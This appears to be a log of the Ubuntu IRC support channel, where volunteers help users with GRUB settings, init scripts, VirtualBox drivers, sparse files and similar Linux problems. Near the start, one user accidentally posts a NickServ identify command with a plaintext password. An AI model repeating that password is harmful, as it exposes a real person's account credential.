[18:11] <KI7MT> silvio-, if you follow the standards base, then yes there is, but if not with they work, sure you can get them to work, allto of folks do: https://wiki.debian.org/LSBInitScripts
[18:11] <letalis>  nickserv identify 555666
[18:11] <MonkeyDust> letalis  change your password!
[18:13] <Dirkos> bazhang: i dont understand? Still getting a 403 but i have no idea why. The vhost is setup correctly
[18:13] <vlitomsk> Does somebody know, what is the mission of modem-manager? I got this error:
[18:13] <vlitomsk> could not get the system bus. Makef sure the message bus daemon os running! Message: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or direcotry
[18:13] <Dirkos> http://pastebin.com/RGzDCaQn
[18:14] <vlitomsk> I've already googled it, but found solutions didn't help me
[18:14] <faugusztin> Dirkos: ask at the correct channel, but a quick suggestion - check if the directory where your web root is allowed via <Directory> directive
[18:15] <vlitomsk> I don't know, why there is 'No such file or directory', because /var/run/dbus/system_bus_socket is present
[18:17] <iUnify> hey guys i need help for one second, suddenly my headphones jack is not working, found a fix but one part i do NOT understand, can someone just point me to what to do in step 2?   http://askubuntu.com/questions/132440/headphone-jack-not-working
[18:18] <iUnify> http://askubuntu.com/questions/132440/headphone-jack-not-working
[18:18] <iUnify> it says "ook for the section called [Element Speaker] and change it so that it looks like this:"
[18:18] <iUnify> that next part i dont get, as when I do the first part it doesnt bring anything up that looks like that to edi
[18:19] <Pici> iUnify: Do you have any section called [Element Speaker] ?
[18:20] <iUnify> Pici:  It doesn't open up Nano to edit anything
[18:20] <iUnify> here is what i get
[18:20] <Pici> iUnify: Did you do the first step regarding copying files?
[18:22] <iUnify> http://paste.ubuntu.com/6125036/
[18:22] <iUnify> there we go, it came up in terminal now, that is what i have
[18:22] <iUnify> ive changed nothing yet
[18:22] <iUnify> Pici: and thanks for the help!  :D
[18:23] <alpha_> I have an error :" The VirtualBox Linux kernel driver (vboxdrv) is either not loaded or there is a permission problem with /dev/vboxdrv. Please reinstall the kernel module by executing " after I installed the VirtualBox on ubuntu 12.04 ... Who can help me please ?
[18:23] <Pici> iUnify: So make those changes now and then you should be seet.
[18:24] <alpha_> and : " Kernel driver not installed (rc=-1908) "
[18:24] <iUnify> Pici: I don't see "Element Speaker"
[18:24] <KI7MT> alpha_, make sure you have dkms before installing Vbox and / or use the .deb packacge from Virtual box site for Debian/Ubuntu.
[18:24] <iUnify> I see "Element Headphone" and everything else under the sun
[18:25] <anshulk> I want to see the difference between the contents of two directories... any command ?
[18:25] <KI7MT> alpha_, dkms meaning: sudo apt-get install dkms
[18:25] <Pici> anshulk: diff -r /path1 /path2
[18:25] <SubCool> i am ssh'd into a remote machine across a wan. how do i DL from that locatoin?
[18:26] <alpha_> K7MT : I downloaded .deb file from virtualbox.org and installed it .
[18:26] <alpha_> What should I do now ?
[18:26] <Marlenee> can soemone help me to install that - https://github.com/Studio-42/elFinder
[18:26] <Pici> iUnify: Oh.  I'm not sure which output you'd need to change then.  It really depends on your hardware. You may need to play with it until you find the right option.
[18:26] <anshulk> Pici, not the individual files, just the file list difference
[18:26] <bobapplepie> how do I delete files in the commandline?
[18:27] <alpha_> boapplepie run : rm <filename>
[18:27] <bobapplepie> ok
[18:27] <KI7MT> alpha_, follow install instructions: http://www.virtualbox.org/manual/ch02.html#install-linux-host
[18:27] <iUnify> pici: how do I save the changes?
[18:27] <Guest87825> i have problem when i do this: sudo apt-get install fluxgui, i get this info:   The following packages have unmet dependencies:
[18:27] <Guest87825>  fluxgui : Depends: python-glade2 (>= 2.17.0) but it is not going to be installed
[18:27] <Guest87825> E: Unable to correct problems, you have held broken packages.
[18:27] <iUnify> just edit?
[18:27] <iUnify> *exit
[18:28] <bobapplepie> alpha_: it says it's not a directory
[18:28] <Pici> iUnify: ctrl-O then ctrl-x
[18:28] <iUnify> Pici: Ctrl 0 asks me to write out
[18:29] <alpha_> bobapplepi : Go to the directory which your file is located and then run
[18:29] <bobapplepie> ok
[18:29] <InevBetrayal> Hello!
[18:29] <Pici> iUnify: usually you just want to press enter as the current filename should be in there
[18:30] <iUnify> Pici: thx, restart time, wish me luck!  :)
[18:30] <Marlenee> apt-get install ajaxplorer  not found in repos
[18:31] <Dirkos> how can i make sure that my root user named "foo" can sftp to the /var/domains directory?
[18:31] <sweethome> test
[18:31] <Dirkos> it now gets a permission denied since it does not use sudo
[18:31] <sweethome> its work !
[18:31] <saleem> hi, im on precise and noticed that all the ppa`s i added fail to reload for past couple of days, is it a known issue or just affecting me only?
[18:32] <InevBetrayal> I'm trying to dualboot ubuntu on a macbook pro (unibody 2009). I installed rEFIt, and i have a USB boot drive. I managed to get to the install screen (asking me for the language) but after i hit "install" the screen just goes dark and i cant do anything. Any ideas?
[18:33] <silvio-> do init.d scripts all work with the service command? if i create a script would it work service myscript start ?
[18:35] <KI7MT> silvio-, you need to add it to rc.d : sudo update-rc.d <script-name> defaults
[18:36] <KI7MT> Them, yes it will run and boot on the defaults set and you can control with either init.d/<script-name> or upstart with service <script-name> start,stop,restart, etc etc
[18:37] <SubCool> i am ssh'd into a remote machine across a wan. how do i DL from that locatoin?
[18:37] <silvio-> ok this is what im trying to do, i have to run 3 other mysql instances for the purpose of db replication, these dbs need to run on system start up to ensure db replication is running, to do that i need to run 3 commands using mysqld_safe &, so i am creating a script in /etc/init.d (well a symbolic link to a script) and in that script im following the LSBInitScripts standards, is this the easiest
[18:37] <silvio-> and best way to go about this?
[18:38] <Gentoo64> SubCool: you could use scp
[18:38] <sixy-> yapp sexy innernet :/
[18:39] <SubCool> Gentoo64, i need to use the current tunnel.. im trying to PULL from the server, and im behind a pretty bad mesh-ish network
[18:39] <SubCool> Im using KDE Fish- but it doesnt work
[18:39] <KI7MT> silvio-, This is old but still good: https://help.ubuntu.com/community/UbuntuBootupHowto  and http://upstart.ubuntu.com/cookbook/
[18:40] <silvio-> ty i will read those links
[18:41] <KI7MT> Bottom line, writing and testing init / upstart jobs is not an easy one-line answer, takes a fare amount of work and testing.
[18:43] <aj_> online resource for good shell script questions?
[18:43] <bazhang> #bash aj_
[18:44] <bazhang> !abs | aj_
[18:44] <lmat> So evolution works against microsoft exchange via the OWA web service ? Like it parses the OWA web pages and converts that to the data you see on screen ?
[18:45] <KI7MT> Greg's Wiki also, and check in #bash ... there are several good links in the topic.
[18:45] <Pici> lmat: I believe so, but only with certain OWA versions, you might want to do some research to make sure its supporting the ones you need.
[18:46] <lmat> Pici: Yeah, okay.
[18:46] <lmat> Pici: So someone needs to write an evolution plugin using EWS :)
[18:47] <silvio-> hwo can i test my script to make sure it runs ok on start up and shuts off on shutdown? do i have to reboot my server to test that?
[18:48] <lmat> silvio-: To know for sure, yeah you have to actually see it run.
[18:48] <lmat> (or turn off gracefully or whatever)
[18:48] <KI7MT> lmat, maybe this will help: http://loginroot.com/adding-ms-exchange-compability-with-evolution-ews-in-ubuntu-12-04/
[18:48] <silvio-> if there is an error in my script will it break the server if it were to reboot?
[18:48] <silvio-> or would it just not run my script?
[18:48] <rb-tnc> Hello all, I am having a real issue I can not figure out. Nautilus (File Manager (and up until I removed it Nemo)) constantly crashes when accessing the menu. When i right click a file/folder and actually hit, rename, new, copy, paste.... is when it crashes. I have tried everything I know to try and figure out why and what is happening but I'm clueless, I am new to UNIX (less than 18 months). Any help would be greatly appreciated
[18:48] <rb-tnc> .
[18:49] <KI7MT> silvio-, depeds on the script, and what the script does, but generally, it will only break itself if there's errors in it.
[18:50] <lmat> (or turn off gracefully or whatever)
[18:50] <lmat> doh
[18:50] <lmat> rb-tnc: Run 'dmesg' and look for anything fishy.
[18:51] <rb-tnc> lmat: How do u suggest i run it?
[18:51] <silvio-> #mysql
[18:51] <silvio-> shit sorry guys
[18:52] <KI7MT> dmesg | grep "fishy stuff" :-)
[18:52] <rb-tnc> lol
[18:53] <KI7MT> dmesg | less or dmesg | more  .. things like that
[18:54] <lmat> KI7MT: :P
[18:54] <rb-tnc> I ment should I, and what switches ect.
[18:54] <lmat> rb-tnc: Sorry. `dmesg`.
[18:54] <lmat> rb-tnc: no switches.
[18:55] <lmat> rb-tnc: If you need to, do dmesg | less    as KI7MT said.
[18:55] <SOLID00> newbie here, i just downloaded a file using terminal, but i cant find it on my computer. Is there a command i can use to find it?
[18:55] <edrisse> quit
[18:55] <rb-tnc> k ty
[18:55] <lmat> rb-tnc: If you're curious about what it is (and whether I'm telling you to run a virus), type `man dmesg`. If you don't know what man is, type `man man`
[18:55] <InevBetrayal> I made a usb boot drive with ubuntu 32bit, and when i try to do a "try before installing" on a mac osx lion 64bit, but all i get is a dark screen. Do i need to install ubuntu 64bit?
[18:55] <lmat> SOLID00: yes.
[18:55] <lmat> next!
[18:55] <lmat> SOLID00: :P  How did you download the file ? wget ? curl ?
[18:55] <rb-tnc> lmat: no i know what both are
[18:56] <rb-tnc> lmat: ty
[18:56] <lmat> rb-tnc: great, any more questions :)
[18:56] <rb-tnc> probably in a few minutes
[18:56] <SOLID00> im using
[18:56] <lmat> InevBetrayal: I would recommend trying the 64-bit one if it's not too much trouble. Of course, this sounds super-normal, so be sure to check with Google.
[18:56] <SOLID00> vagrant box add
[18:56] <lmat> rb-tnc: yeah, probably :)
[18:56]  * lmat looks up vagrant box add
[18:56] <dog-food> what happens if there is no swap and memory runs out
[18:57] <KI7MT> if you used wget as soon as you opened the terminal, it's in $HOME probably
[18:57] <lmat> SOLID00: What command did you use to download the file ?
[18:57] <lmat> dog-food: panic ?
[18:57] <lmat> KI7MT: Sounds like he used some 3rd party thing, not wget. ( SOLID00 )
[18:57] <KI7MT> indeed
[18:58] <lmat> SOLID00: Nonetheless, I would check in the current directory :)
[18:58] <SOLID00> yea, im gonna look through the program folder i used
[18:58] <lmat> SOLID00: run `ls`
[18:58] <KI7MT> Defaut for Browsers, and most GUI appd is system Download Default, ~/Downoads
[18:58] <lmat> SOLID00: I seriously doubt it's there.  You mean in with the executable programs ?
[18:58] <KI7MT> whoops ~/Downloads
[18:58] <Strit> Hm. #winehq is quite. Does any know why my Wine 1.7.1 got "upgraded" to 1.6 today?
[18:59] <lmat> Strit: What command did you use ?
[18:59] <Strit> lmat, no command, got it from repos
[18:59] <SubCool> Gentoo64, i need to use the current tunnel.. im trying to PULL from the server, and im behind a pretty bad mesh-ish network
[19:00] <lmat> Strit: um... not sudo apt-get update && sudo apt-get upgrade ?
[19:00] <lmat> Strit: You might try sudo apt-get update . I think this updates your computer's idea of what versions are current, etc.
[19:01] <Strit> lmat, just got it with standard update manager.
[19:02] <Pici> Strit: Are you using Wine's repositories?
[19:02] <Strit> Pici, yes
[19:02] <Pici> Strit: Then they probably published a new release.  Thats not something that we can control here.
[19:02] <lmat> Pici: an old release ? :)
[19:02] <Strit> Pici, I know, just weird it goes back to version 1.6. :)
[19:02] <fully_human> Sorry, stupid question: is CPIO already compressed? Or is it just an archive like tar?
[19:03] <bekks> fully_human: It is an compressed archive.
[19:03] <lmat> fully_human: google it.
[19:03] <shodan45> anyone have a system76 laptop & can comment on the keyboard? is it similar to other brands?
[19:03] <lix> list
[19:03] <lmat> fully_human bekks "Cpio does not compress any content, but resulting archives are often compressed using gzip or other external compressors."  Wikipedia
[19:03] <fully_human> bekks, Okay, thanks.
[19:04] <Pici> Strit: It could be something they did on purpose to correct a regression or there was a failure in their build process. I can only make guesses as to what happened.
[19:04] <lmat> seems like 1.6 is a long way back from 1.7. is 1.7 new ?
[19:04] <Strit> Pici, yeah. Maybe because 1.7.1 actually wasn't a stable release
[19:04] <Pici> Strit: The package's version number would need to be higher for it to be installed, but that doesn't really have anything to do with the actual version of the software that is being installed.
[19:04] <DrFaustus> http://dpaste.com/1386611/  ,i really like this poem
[19:04] <Pici> !ot | DrFaustus
,ok,sorry 4 the disconvenience
[19:07] <asd__123123123> can somebody tell me what should i do with this message im getting?  http://paste.ubuntu.com/6125210/
[19:08] <bekks> lmat: Well, at least on Solaris cpio provides the -c switch for creating compressed output/input.
[19:08] <MonkeyDust> asd__123123123  fluxgui is not in the repos, what is it and where did you get it?
[19:09] <asd__123123123> well i typed everything here http://justgetflux.com/linux.html
[19:09] <OerHeks> asd__123123123, on what ubuntu version ? 12.04 or 13.04 ?
[19:09] <asd__123123123> latest
[19:10] <MonkeyDust> asd__123123123  ppa's are not supported, better contact the gui who created or maintains it
[19:10] <MonkeyDust> guy*
[19:10] <zykotick9> asd__123123123: "E: Unable to correct problems, you have held broken packages." you need to correct whatever is causing that.  try, "sudo apt-get -f install" (-f is a general "fix")
[19:10] <lmat> bekks: good to know :) Perhaps you can update the wiki ?
[19:11] <cbkg11> I am having trouble installing nvidia-current on my Elementary OS, I get the following error: "update-alternatives: error: alternative link /usr/bin/nvidia-cuda-mps-server is already managed by x86_64-linux-gnu_nvidia-cuda-mps-server (slave of x86_64-linux-gnu_gl_conf).", can someone help out?
[19:11] <asd__123123123> 0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
[19:11] <bazhang> cbkg11, check with elementary support
[19:11] <OerHeks> asd__123123123, lots of issues on http://justgetflux.com/linux.html, better drop it untill fixed
[19:12] <mrrcp> FUCK FUCK FUCK
[19:13] <mrrcp> oops
[19:13] <FloodBot1> mrrcp: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[19:13] <mrrcp> wrong room
[19:13] <arctan> can i install the 64bit version of memcache with apt?
[19:13] <Quest> is there a player (except vlc) that can play .wmv / . mov files with change/faster speed?
[19:13] <asd__123123123> gom maybe?
[19:13] <bazhang> Quest, mplayer
[19:13] <Quest> bazhang,  no player speed change option in that
[19:14] <bazhang> Quest, hold the .
[19:15] <alastor__> what's the easiest way to create an icon that runs a shell command?
[19:16] <rb-tnc> lmat: here is error i found in there http://paste.ubuntu.com/6125232/  ...any idea?
[19:16] <alastor__> for instance, i want to run gnome-terminal (it's not my default terminal) but I would like to have an icon for it on the desktop rather than needing to open up my own terminal and type 'gnome-terminal' to launch it
[19:19] <Quest> bazhang,  what?
[19:19] <monkwitdafunk> Ubuntu!
[19:19] <monkwitdafunk> My doctor uses ubuntu
[19:22] <mapreri> something like "0 */48 * * * " in a crontab should make the script run every 2 days, isn't it?
[19:22] <OerHeks> alastor__, more info on launchers: https://help.ubuntu.com/community/UnityLaunchersAndDesktopFiles
[19:22] <alastor__> OerHeks: kthx i'll look at it
[19:23] <cmaiz82> I have ubuntu 13.04 instaled, please how can i install gnome shell now?
[19:24] <zykotick9> !notunity | cmaiz82
[19:25] <cmaiz82> sudo apt-get install gnome-shell?
[19:26] <forgotmynick> Programs slow down when RAM usage reaches 70-75% - is this a sign of bad RAM?
[19:26] <ikonia> forgotmynick: not really no
[19:26] <ikonia> forgotmynick: what's the programs eating the ram ?
[19:26] <ikonia> forgotmynick: what's the programs that are slowing down ?
[19:27] <forgotmynick> ikonia i'm intentionally filling the ram using my own application. Anything from loading the terminal window to even gedit take several seconds and lock the machine.
[19:28] <ikonia> forgotmynick: if you use up ram - there is less ram for applications to use, this is expected behaviour
[19:28] <forgotmynick> ikonia i think you're missing my point
[19:28] <ikonia> forgotmynick: try again,
[19:31] <rb-tnc> My nautilus (and nemo prior to removing it) constantly crashes when accessing the right-click menu, when i actually click new, rename, open with.. is when it crashes. Here is error i found in dmesg http://paste.ubuntu.com/6125299/  ...anyone have any idea?
[19:31] <wilee-nilee> forgotmynick, Have you changed the swappiness to compensate this ram use?
[19:32] <GarrettKajmowicz> If I get kicked to the Bsybox shell on boot, how can I resume the boot process once I've mounted the root filesystem?
[19:32] <forgotmynick> wilee-nilee i've disabled the swap
[19:32] <Joe_Schmo2840> Whatsup guys
[19:33] <Joe_Schmo2840> Im having a terrible time setting up vncserver
[19:33] <wilee-nilee> forgotmynick, ah well carry on.
[19:33] <zykotick9> forgotmynick: seems to me, you are creating your own problems...
[19:33] <Joe_Schmo2840> It seems as tho no matter what session i use I get an error that it could not locate the session or it just gives me a background and no toolbars
[19:33] <OerHeks> forgotmynick, so you wonder why processes get slow without swap and stressing the OS ?
[19:33] <ikonia> zykotick9: I'm totally missing the point too - fill up ram = bad performance
[19:34] <Steen> I have my pc with dualboot. And after startup.. I get this screen for a few seconds where i can choose what OS i want. This screen is only visible for a few seconds. If i miss it, it starts up with an OS I might not want that day. Question: How can I disable the timer or edit this setup in any way?
[19:34] <Joe_Schmo2840> steen what bootloader?
[19:34] <nacitar> I'm not running ubuntu, but I'm interested in what the lowest versions of certain packages were ever offered for a particular version of ubuntu (for example, the lowest firefox available in apt)... what's a good way to find out?
[19:34] <forgotmynick> OerHeks why would it lock at 70% and not 80% or 90%?
[19:35] <wilee-nilee> Steen, If it is grub you can set the timeout in /etc/default/grub
[19:36] <Steen> probably grub.. the one that came with the latest Ubuntu version. (i'm a ubuntu starter)
[19:36] <wilee-nilee> run a update grub after adjusting
[19:36] <dhyana> anyone from India?
[19:36] <ikonia> dhyana: why ?
[19:36] <MonkeyDust> !in
[19:37] <dhyana> ok
[19:37] <Joe_Schmo2840> so can anyone give me some guidance with an xstartup vnc cionfig?
[19:37] <wilee-nilee> Steen, run gksudo gedit /etc/default/grub change this GRUB_TIMEOUT=5 save and run sudo update-grub
[19:37] <zykotick9> Steen: what you are looking for is in /etc/default/grub (fyi, you need to run "sudo update-grub" after making any changes to that file.  be sure to read about grub2 setting before hand.  best of luck.
[19:38] <wilee-nilee> put a nuber you want it is seconds steen
[19:38] <wilee-nilee> number*
[19:38] <Steen> ok thanks..found the file.. now editing
[19:39] <quantumpants_> hi all
[19:39] <wilee-nilee> Steen, Stock would be 10, what does it say?
[19:41] <Steen> it says 10 indeed
[19:41] <wilee-nilee> Steen, Cool set it as you need it, when you adjust this file you always run sudo update-grub to have it work.
[19:43] <pgilbert> need some info
[19:44] <pgilbert> can anybody help
[19:44] <pgilbert> ???
[19:44] <Steen> do i get some visual conformation that i really changed it?
[19:44] <Steen> oh wait.. i can reopen the file offcourse
[19:44] <Pici> pgilbert: We can only help if you ask a question.
[19:44] <pgilbert> lol ok
[19:45] <pgilbert> i need to remote access my xxubuntu from microsoft machine
[19:45] <pgilbert> i tried all the tools but cait to work n never get
[19:45] <irreverant> bah!
[19:45] <irreverant> Ok i'm done trying to mess with this client
[19:46] <Steen> How do i @ someone in IRC.. (haven't used it since '92)
[19:46] <zykotick9> !tab | Steen
[19:46] <Steen> thanks
[19:47] <zykotick9> Steen: but DON'T put @, just use Steen zykotick9 etc.
[19:47] <GarrettKajmowicz> Is there a good channel to discuss boot script errors and diagnostics?
[19:47] <Steen> wilee-nilee, Thanks.. it all worked so far.. I noticed "GRUB_DEFAULT=0".. if i change this in say 5.. will grub start with the fifth option?
[19:48] <zykotick9> Steen: yes, but the counting can sometimes be "odd" ;)
[19:49] <Steen> zykotick9, ..is there a list where i can see what number is what option? Or do i have to restart to find out?
[19:50] <zykotick9> Steen: restarting is probably easiest... but i think /boot/grub.cfg "might" also have it?
[19:50] <Steen> zykotick9, ..thanks.. let me found out..
[19:51] <silvio-> are there any online tools for testing the format of an init.d script?
[19:52] <pgilbert> any good remote access tool for xubuntu
[19:52] <zykotick9> silvio-: on ubuntu you might want to consider upstart?  or not?  but i'm unaware of any "tool" to test either
[19:54] <pgilbert> rename
[19:55] <zykotick9> pgilbert: <i'm just joking.. but> ssh should be all you need for most stuff, and ssh+xforwarding for running the occasional gui app...  but look into vnc or vx?orSomeotheralternative_i_forget.  best of luck.
[19:55] <pgilbert> thanks\
[19:55] <wilee-nilee> Steen, That is for defaulting the line read 0 is the first line, so if you wanted to have it boot the other OS you would count the lines starting at 0.
[19:57] <Steen> wilee-nilee, Thanks.. I checked grub.cfg to check what number is what option.. but it's a bit to jibberish to decifer. But i've changed the boottime so im totally happy now..
[19:58] <wilee-nilee> Steen, Hehe, no problem some want say grub to default to windows instead, that is where you would do it.
[19:58] <Steen> wilee-nilee, zykotick9, ubottu, thanks for your help..
[19:59] <zykotick9> !nx | this was the vnc alternative i was thinking of... but i guess pgilbert left, but incase anyone else wanted to know...
[20:06] <valeness> So, there is a file that I have that's 7.6 Gb, but when I go to properties it says the Size on Disk is 61.3 Gb. Am I missing something here?
[20:07] <bekks> valeness: Thats called a "sparse" file.
[20:07] <valeness> Ah, can I make it, uhm, not do that?
[20:07] <valeness> I would like to copy the file to my flash drive...
[20:09] <TheOvermind> hello world. this chat is new to me
[20:09] <wolfy1339> anyone know how i can install ubuntu on an external hdd? btw i have one usb, and no cd/dvd
[20:10] <new2ubuntu> hey how is everone..
[20:10] <new2ubuntu> i have a quick question - and for some reason cant post it in forums
[20:10] <wilee-nilee> wolfy1339, Use a manual install, a external will run slow though.
[20:10] <zykotick9> wolfy1339: you have i hd + one usbkey that you can use?
[20:10] <new2ubuntu> what is the login and password for ubuntu live usb?
[20:10] <new2ubuntu> this is a first time install/run so i haven't set anything!
[20:10] <ikonia> new2ubuntu: it shouldn't ask you for one
[20:11] <ikonia> new2ubuntu: should auto log you in to the desktop
[20:11] <wilee-nilee> new2ubuntu, If you are having to boot in you have a bad iso or burn.
[20:11] <wilee-nilee> oe usb load
[20:11] <wilee-nilee> or*
[20:11] <shodan45> anyone have a system 76 laptop?
[20:11] <ikonia> shodan45: why ?
[20:11] <BluesKaj> wolfy1339, recommend using a esata connection for your external if youwant to run an OS on it , usb as wilee-nilee says will be slow
[20:12] <wolfy1339> zykotick9, yes i have usb key and 1 external hdd, i don't want to put it on my main hdd since i only have 128gb
[20:12] <shodan45> ikonia: I want to know opinions on their keyboards
[20:12] <TheOvermind> Hey guys, im new to this chat tihng
[20:12] <wilee-nilee> shodan45, The is a system76 portion of the ubuntu forums, here state the issues.
[20:12] <ikonia> shodan45: try ##hardware
[20:13] <new2ubuntu_> i know it shouldn't ask for one but it did
[20:13] <ikonia> new2ubuntu: ok, that suggests something is wrong with your media
[20:13] <zykotick9> wolfy1339: then it should be straight forward.  put the usb onto the usb key and install, just select your external hd to install onto.  and i certainly agree with everyone else, OS on USB is slow, if you have estat - USE THAT.
[20:13] <wilee-nilee> TheOvermind, This is ubuntu support welcome, if you have issues tell them to the channel.
[20:13] <wolfy1339> i have a win 8 pro tablet and don't have any ports except for usb and microsdxc
[20:13] <TheOvermind> Oh, alright then.
[20:14] <wilee-nilee> wolfy1339, You would have a faster install on a flash usb, still slower than a internal however.
[20:14] <new2ubuntu_> i tried older versions of the iso also, and different USB sticks and it still asks for it
[20:15] <wilee-nilee> !md5sum | new2
[20:15] <new2ubuntu_> well i will eventually intall onto the hard drive..but it wouldn't let me select that without a login password either
[20:15] <ikonia> new2ubuntu: the password should be ubuntu - but again, if it's asking for it, you have a problem with your media
[20:15] <TheOvermind> A question: Is this Xchat safe from being tapped into by thired partes?
[20:15] <ikonia> TheOvermind: what are you talking about ?
[20:15] <wilee-nilee> new2ubuntu_, see the bots info on md5sum
[20:15] <Strit> new2ubuntu: if it asks you for a password, then you are not logging in to a live session. You sure it's booted from the USB?
[20:15] <new2ubuntu_> icool thanks
[20:16] <TheOvermind> ikonia what i am talking about is secure chatrooms
[20:16] <zykotick9> TheOvermind: LOL, ahhh this channel is logged - everyone has a copy
[20:16] <new2ubuntu_> yea - its definitely not on the hard drive - i had to write the mbr.bin to get it to recognize the iso and used unetbootin to make the usb
[20:16] <ikonia> TheOvermind: it's a client - it has nothing to do with the channel/services you connect to
[20:16] <TheOvermind> :L im sorry, i just had to ask. i just opened this thing today
[20:17] <TheOvermind> so you mean that it is safe i guess?
[20:17] <ikonia> TheOvermind: no - read what I said
[20:17] <TheOvermind> ...K i feel stupid now DX
[20:17] <zykotick9> TheOvermind: but there is something you can do.  get a freenode cloak, see the details in the PM from ubottu when you run "/msg ubottu cloak"
[20:18] <TheOvermind> Ok, thank you sir.
[20:18] <eos> hi everybody. I haev Enlightment which I start when I need to use all the memory and CPU of my laptop to crunch numbers, but I canon only connect to the wireless using the command line. Is there a good connection manager that I cna use in all the different desktop managers?
[20:20] <boneslash> hi guys
[20:21] <Andrew32> Hello. Please, how can I easily add a package from saucy (http://packages.ubuntu.com/saucy/php5-fpm) to my 13.04?
[20:21] <R1ck3rd> hello people
[20:22] <boneslash> I am thinking about Ubuntu 13.10 but I see there is no support for it on this channel, do you know when will be added support for Ubuntu 13.10 out there?? :)
[20:22] <bazhang> #ubuntu+1 boneslash
[20:23] <Pici> boneslash: when it relases... in October.
[20:23] <boneslash> I think It is already released am I right, btw thanks for the help
[20:23] <zykotick9> Andrew32: just adding 1 package is usually impossible.  you need all the dependencies as well... mixing binary packages across releases like that is a bad idea... it will lead to tears 9 times out of 10 ;)  i'd think you'd need an entire new php for this, and that might break everything else...  good luck.
[20:24] <DrFaustus> what's SS1 and SS3?
[20:24] <faugusztin> Andrew32: why not just compile your own php ?
[20:25] <TheOvermind> hey, me again, Is it possible to make a chat server of my own?
[20:25] <wilee-nilee> TheOvermind, ask in #freenode
[20:25] <kostkon> !ircd | TheOvermind
[20:26] <kostkon> :/
[20:26] <zykotick9> TheOvermind: you could run your own irc server (but i wouldn't recommend it).  look into jabber or something else...
[20:27] <Pici> TheOvermind: You can make your own channel on freenode easily enough if you want, just ask for help in #freenode
[20:28] <TheOvermind> Ok
[20:28] <TheOvermind> I will try that
[20:29] <TheOvermind> But granted i do not know much about this place, first day
[20:29] <GarrettKajmowicz> If I get kicked to the Bsybox shell on boot, how can I resume the boot process once I've mounted the root filesystem?
[20:29] <wilee-nilee> TheOvermind, there is info in the channel header, reead it.
[20:29] <TheOvermind> very well.
[20:32] <TheOvermind> Stupid question: Would that header be the hyperlink bar above the chat, or somewhere else :/
[20:33] <neekz0r> TheOvermind: not a stupid question, i've never heard of a 'channel header' either, i suspect he means the topic
[20:34] <neekz0r> TheOvermind: IRC Guidelines: http://ubottu.com/y/gl | IRC info: http://ubottu.com/y/irc
[20:34] <wilee-nilee> TheOvermind, https://wiki.ubuntu.com/IRC/Guidelines  http://ubottu.com/y/irc
[20:34] <DrFaustus> which BIOS option is better 4 ubuntu:SS1 or SS3 ?
[20:35] <wilee-nilee> TheOvermind, This is ubuntu support as well so irc questions are really #freenode related
[20:35] <valeness> So, can anyone explain to me these files that are like 5 gigs, but says 80 gigs on disk? :)
[20:35] <TheOvermind> alright, thank you guys
[20:36] <wilee-nilee> valeness, Are you reading the write info? disc's mean HD right?
[20:36] <BluesKaj> valeness, maybe it's 5G used out of the 80G available
[20:36] <alpha_> once I logged in to ubuntu 12.04 as unity 2D ... but i have a problem with unity ... its size was larger and I can't change it
[20:37] <valeness> BluesKaj: No, because the size on disk is relevant to the file size
[20:37] <wilee-nilee> alpha_, Can you access display?
[20:37] <valeness> wilee-nilee: Yes
[20:37] <alpha_> yes
[20:37] <wilee-nilee> alpha_, And, what do you see?
[20:37] <alpha_> but when i logged as Gnome shell i can see the unity
[20:38] <wilee-nilee> alpha_, Logged in from the login gui?
[20:38] <BluesKaj> valeness, no kidding
[20:38] <alpha_> i can see all of the screen but the unity's icons are larger than pas
[20:38] <alpha_> yes
[20:38] <wilee-nilee> !who | alpha_
[20:38] <alpha_> past*
[20:39] <valeness> BluesKaj: Well it would make no sense for the size on disk to mean space available then. It sounds like that's what you were suggesting.
[20:39] <emx> is there a keyboard shortcut that minimises a window?
[20:39] <alpha_> while-nile : ooh im sorry
[20:39] <Timvde> Hi. The backlight of my laptop turns off randomly (and quite often, at worst cases every few seconds). Ubuntu 13.04. I haven't found anything in my logfiles yet, but it is very annoying to search them when my screen keeps turning off...
[20:40] <faugusztin> emx: right click on titlebar, find minimize, shortcut is next to it
[20:40] <alpha_> ubuttu : sorry .
[20:40] <BluesKaj> valeness, what exactly do you want to do ?
[20:40] <alpha_> wilee-nilee : can you solve my problem ?
[20:41] <letalis> i dont know if this is the [place i should ask a question regarding policykit but i was wondering if theres a way to use pkexec to execute multiple commands without the use of a script?
[20:41] <valeness> BluesKaj: Well, the size on disk is preventing me from copying my file to a Flash Drive
[20:41] <letalis> theyre low security things but require elevation
[20:41] <valeness> I was just curious as to why the size on disk is appearing to be so large.
[20:41] <wilee-nilee> alpha_, what you describe does not make sense seeing unity from the shell for one, you also are not answering question, and ones you are a one word answer, we are not farthet along that when we started.
[20:41] <wilee-nilee> farther*
[20:41] <emx> faugusztin, i don't see any shortcuts in that menu.
[20:42] <BluesKaj> valeness, and how large is your flash drive ?
[20:42] <wilee-nilee> alpha_, One problem at a time helps, we started with resolution.
[20:42] <alpha_> wilee-nilee : what questions should I answer ?
[20:42] <faugusztin> emx: well, there should be, but anyway https://help.ubuntu.com/community/KeyboardShortcuts :)
[20:43] <wilee-nilee> alpha_, when you access disply what do you see, can you change it?
[20:44] <alpha_> wilee_nilee : no no ... there is not any panel for change unity's icons size
[20:44] <exobyte> When I run this as root, I don't pick up the user's PATH.  Why not?  sudo -u user -i printenv PATH
[20:45] <wilee-nilee> alpha_, I'm  not sure on icon sizes, I don;t use unity, there is a change the panel width from a right click on the desktop though.
[20:45] <zykotick9> valeness: is this on an ext4 partition?  do you know how to use terminal, enough to cd to the directory with the file and run "ls -s foo" then "ls -sh foo" and report back what each says?
[20:45] <valeness> Aye, I'm capable of that
[20:45] <valeness> One second
[20:46] <alpha_> wilee-nilee : how can I show you a picture of my desktop  ?
[20:46] <wilee-nilee> !screnshot | alpha_
[20:46] <wilee-nilee> !screenshot
[20:46] <alpha_> wilee-nilee: I know .. but where can i upload that ?
[20:46] <DrFaustus> which BIOS option is better 4 ubuntu:SS1 or SS3 ?
[20:47] <wilee-nilee> http://imagebin.org/?page=add like the bot shows alpha_
[20:48] <valeness> zykostick9: It says "No such file or directory" on both commands
[20:48] <naftilos76> Has anyone tried parallella?
[20:48] <faugusztin> DrFaustus: well, we  first need to know what those options even mean :D
[20:48] <zykotick9> valeness: ;) replace foo with the REAL filename in both cases
[20:48] <wilee-nilee> DrFaustus, what area are those in I don't recognize that, is it SSD drives
[20:49] <valeness> BAH, I feel dumb xD
